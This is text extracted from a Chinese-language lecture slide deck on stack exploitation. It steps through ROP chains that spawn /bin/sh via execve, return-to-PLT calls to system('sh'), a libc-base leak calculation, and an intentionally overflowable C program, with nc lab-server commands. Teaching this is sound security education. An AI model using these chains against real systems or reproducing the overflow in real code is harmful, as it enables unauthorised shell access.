0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fea000 0x00007ffff7fec000 rw-p mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
ROP Chain
• 由眾多的 ROP gadget 所組成的

• 可以藉由不同 ROP gadget 的⼩小功能串串成任意代碼執⾏行行的


效果

• 取代 shellcode 攻擊
ROP Chain
leave
👉 ret

0x6161616161616161

0x6161616161616161

rsp 0xfaceb00c

stack
ROP Chain
leave
👉 ret

0x6161616161616161

0x6161616161616161

rsp 0x415294 pop rax ; ret

0x39

0x474a65 syscall ; ret

rax =

stack
ROP Chain
leave
ret

0x6161616161616161

0x6161616161616161

0x415294 pop rax ; ret

rsp 0x39
👆

0x474a65 syscall ; ret

rax =

stack
ROP Chain
leave
ret

0x6161616161616161

0x6161616161616161

0x415294 pop rax ; ret

0x39
👆

rsp 0x474a65 syscall ; ret

rax = 0x39

stack
ROP Chain
leave
ret

0x6161616161616161

0x6161616161616161

0x415294 pop rax ; ret

0x39

0x474a65 syscall ; ret

rsp
👆

rax = 0x39

stack
ROP Chain
leave
ret

0x6161616161616161

0x6161616161616161

0x415294 pop rax ; ret

0x39

0x474a65 syscall ; ret

rsp
👆

rax = 0x39 fork();

stack
ROP Chain
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b
ROP Chain
rsp 0x400686

0x6bb2e0

0x410093

‘/bin/sh\x00’

0x446c1b

0x410093

0x0

0x4494b5

0x0

0x415294

0x3b

0x474a65
ROP Chain
rsp 0x400686 pop rdi ; ret .bss
0x6bb2e0

0x410093 pop rsi ; ret

‘/bin/sh\x00’

0x446c1b mov qword ptr [rdi], rsi ; ret

0x410093 pop rsi ; ret

0x0
rax =
0x4494b5 pop rdx ; ret
rdi =
0x0 rsi =
0x415294 pop rax ; ret rdx =
0x3b

0x474a65 syscall ; ret


ROP Chain
0x400686 pop rdi ; ret .bss
0x6bb2e0

rsp 0x410093 pop rsi ; ret

‘/bin/sh\x00’

0x446c1b mov qword ptr [rdi], rsi ; ret

0x410093 pop rsi ; ret

0x0
rax =
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “”
0x0 rsi =
0x415294 pop rax ; ret rdx =
0x3b

0x474a65 syscall ; ret


ROP Chain
0x400686 pop rdi ; ret .bss
0x6bb2e0

0x410093 pop rsi ; ret

‘/bin/sh\x00’

rsp 0x446c1b mov qword ptr [rdi], rsi ; ret

0x410093 pop rsi ; ret

0x0
rax =
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “”
0x0 rsi = ‘/bin/sh\x00’
0x415294 pop rax ; ret rdx =
0x3b

0x474a65 syscall ; ret


ROP Chain
0x400686 pop rdi ; ret .bss
0x6bb2e0 ‘/bin/sh\x00’

0x410093 pop rsi ; ret

‘/bin/sh\x00’

0x446c1b mov qword ptr [rdi], rsi ; ret

rsp 0x410093 pop rsi ; ret

0x0
rax =
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “/bin/sh”
0x0 rsi = ‘/bin/sh\x00’
0x415294 pop rax ; ret rdx =
0x3b

0x474a65 syscall ; ret


ROP Chain
0x400686 pop rdi ; ret .bss
0x6bb2e0 ‘/bin/sh\x00’

0x410093 pop rsi ; ret

‘/bin/sh\x00’

0x446c1b mov qword ptr [rdi], rsi ; ret

0x410093 pop rsi ; ret

0x0
rax =
rsp 0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “/bin/sh”
0x0 rsi = 0x0
0x415294 pop rax ; ret rdx =
0x3b

0x474a65 syscall ; ret


ROP Chain
0x400686 pop rdi ; ret .bss
0x6bb2e0 ‘/bin/sh\x00’

0x410093 pop rsi ; ret

‘/bin/sh\x00’

0x446c1b mov qword ptr [rdi], rsi ; ret

0x410093 pop rsi ; ret

0x0
rax =
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “/bin/sh”
0x0 rsi = 0x0
rsp 0x415294 pop rax ; ret rdx = 0x0
0x3b

0x474a65 syscall ; ret


ROP Chain
0x400686 pop rdi ; ret .bss
0x6bb2e0 ‘/bin/sh\x00’

0x410093 pop rsi ; ret

‘/bin/sh\x00’

0x446c1b mov qword ptr [rdi], rsi ; ret

0x410093 pop rsi ; ret

0x0
rax = 0x3b
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “/bin/sh”
0x0 rsi = 0x0
0x415294 pop rax ; ret rdx = 0x0
0x3b

rsp 0x474a65 syscall ; ret


ROP Chain
0x400686 pop rdi ; ret .bss
0x6bb2e0 ‘/bin/sh\x00’

0x410093 pop rsi ; ret

‘/bin/sh\x00’

0x446c1b mov qword ptr [rdi], rsi ; ret

0x410093 pop rsi ; ret

0x0
rax = 0x3b
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “/bin/sh”
0x0 rsi = 0x0
0x415294 pop rax ; ret rdx = 0x0
0x3b

rsp 0x474a65 syscall ; ret execve(“/bin/sh”, 0, 0);


Lab 5
nc isc.taiwan-te.ch 10004
Return to PLT
Return to PLT
• Lazy Binding Procedure

• Use PLT as Gadget


Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Use PLT as Gadget

int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[16];
system("echo What is your name?");
read(0, name, 0x10);
puts("Say something: ");
read(0, buf, 0x40);
return 0;
}
Use PLT as Gadget

int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[16];
system("echo What is your name?");
read(0, name, 0x10);
puts("Say something: ");
read(0, buf, 0x40);
return 0;
}
Use PLT as Gadget

system(“sh”);
Use PLT as Gadget

system(“sh”);

rdi = address of “sh”


Use PLT as Gadget
rsp 0x400733 pop rdi ; ret .bss
0x601070 ‘sh\x00’

0x4004fe ret

0x400520 system@plt

int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[16];
system("echo What is your name?");
read(0, name, 0x10);
puts("Say something: ");
read(0, buf, 0x40);
return 0;
}
Lab 6
nc isc.taiwan-te.ch 10005
Return to libc
Return to libc
• Why Return to libc

• How to Return to libc


Why Return to libc
• ⼀一般程式很少有 system, execve 或是後⾨門程式

• 在 DEP 保護下無法執⾏行行填入的 shellcode


Why Return to libc
• libc 有許多可以利利⽤用的 function 片段,讓我們可以使⽤用
system 或 execve 等開 shell

#include <sigsetops.h>

#define SHELL_PATH "/bin/sh" /* Path of the shell. */


#define SHELL_NAME "sh" /* Name to give it. */

(void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL);


INIT_LOCK ();

...

/* Exec the shell. */


(void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);
How to Return to libc
• 因為 ASLR,每次 libc 載入的位置都不同

• 我們需要 leak libc 的 base address 來來知道⽬目標 address


How to Return to libc
code VMA code VMA code VMA

data VMA data VMA data VMA

heap heap
heap

library library
library

stack
stack stack

kernel space kernel space kernel space


How to Return to libc
• 可以獲得 libc 的地⽅方有 stack, (heap,) 跟 GOT…
How to Return to libc
• 可以獲得 libc 的地⽅方有 stack, (heap,) 跟 GOT…
<main>

rsp

0x601018 <_IO_puts> old rbp rbp

0x601020 read@plt+6 __libc_start_main+231

0x601028 execve@plt+6

0x601030 fflush@plt+6

GOT stack
How to Return to libc

0x601018 <_IO_puts>

0x601020 read@plt+6

0x601028 execve@plt+6

0x601030 fflush@plt+6

GOT
How to Return to libc

_IO_puts offset: 0x809c0

0x601018 <_IO_puts>

0x601020 read@plt+6

0x601028 execve@plt+6

0x601030 fflush@plt+6

GOT
How to Return to libc

_IO_puts address: 0x7fc8645d89c0

_IO_puts offset: 0x809c0

0x601018 <_IO_puts>

0x601020 read@plt+6

0x601028 execve@plt+6

0x601030 fflush@plt+6

GOT
How to Return to libc

_IO_puts address: 0x7fc8645d89c0

-) _IO_puts offset: 0x809c0

libc offset: 0x7fc864558000

0x601018 <_IO_puts>

0x601020 read@plt+6

0x601028 execve@plt+6

0x601030 fflush@plt+6

GOT
How to Return to libc

libc offset: 0x7fc864558000

0x601018 <_IO_puts>

0x601020 read@plt+6

0x601028 execve@plt+6

0x601030 fflush@plt+6

GOT
How to Return to libc

libc offset: 0x7fc864558000

<_IO_puts>
system offset: 0x4f440
0x601018

0x601020 read@plt+6

0x601028 execve@plt+6

0x601030 fflush@plt+6

GOT
How to Return to libc

libc offset: 0x7fc864558000

<_IO_puts>
+) system offset: 0x4f440
0x601018

0x601020 read@plt+6 system address: 0x7fc8645a7440


0x601028 execve@plt+6

0x601030 fflush@plt+6

GOT
Lab 7~8
nc isc.taiwan-te.ch 10006
nc isc.taiwan-te.ch 10007
Summary
Summary
• What We Didn’t Learn

• Where to Practice

• Prepare for Advanced Pwn

• Credit
What We Didn’t Learn
• Stack Migration (Stack Pivoting)

• Format String Attack

• …
Where to Practice
• pwnable.tw

• pwnable.kr

• ctftime.org

• …
Prepare for Advanced Pwn
• Linux Binary Exploitation - Heap Exploitation

• Tcache Exploitation
Credit
• github.com/Gallopsled/pwntools

• github.com/scwuaptx/Pwngdb

• github.com/scwuaptx/peda

• github.com/david942j/one_gadget

• github.com/segnolin/pwn-basic-challenge
Thanks for Listening

You might also like